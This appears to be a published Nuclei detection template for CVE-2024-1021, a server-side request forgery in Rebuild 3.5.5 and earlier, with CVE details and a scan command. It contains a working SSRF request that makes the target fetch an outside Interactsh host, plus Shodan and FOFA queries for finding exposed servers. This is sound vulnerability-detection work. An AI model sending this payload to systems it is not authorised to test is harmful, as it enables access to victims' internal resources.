Rebuild <= 3.5.5 - Server-Side Request Forgery

ID: CVE-2024-1021

Severity: critical

Author: BMCel

Tags: cve2024,cve,rebuild,ssrf,ruifang-tech

Description

There is a security vulnerability in Rebuild 3.5.5, which is due to a server-side request forgery vulnerability in the URL parameter of the readRawText function of the HTTP Request Handler component.

YAML Source

id: CVE-2024-1021

info:
  name: Rebuild <= 3.5.5 - Server-Side Request Forgery
  author: BMCel
  severity: critical
  description: |
    There is a security vulnerability in Rebuild 3.5.5, which is due to a server-side request forgery vulnerability in the URL parameter of the readRawText function of the HTTP Request Handler component.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive internal resources.
  remediation: |
    Apply the latest security patches or updates provided by Rebuild to fix this vulnerability.
  reference:
    - https://github.com/getrebuild/rebuild
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1021
    - https://vuldb.com/?ctiid.252290
    - https://vuldb.com/?id.252290
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-1021
    cwe-id: CWE-918
    epss-score: 0.00973
    epss-percentile: 0.83349
    cpe: cpe:2.3:a:ruifang-tech:rebuild:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ruifang-tech
    product: rebuild
    shodan-query: http.favicon.hash:"871154672"
    fofa-query: "icon_hash=\"871154672\""
  tags: cve2024,cve,rebuild,ssrf,ruifang-tech

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/filex/read-raw?url=http://oast.me&cut=1"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "<h1> Interactsh Server </h1>")'
          - '!contains(body_1, "<h1> Interactsh Server </h1>")'
          - 'status_code_2 == 200'
        condition: and
# digest: 490a00463044022028e0f3c01adc8f8b392d15066434474ba55191c6e71e8ed54e02337058754261022062ea52bae505930cd5e78f25b2dcfb9f8ebe1bb16ef108b4f907f82411e010e6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-1021.yaml"

View on Github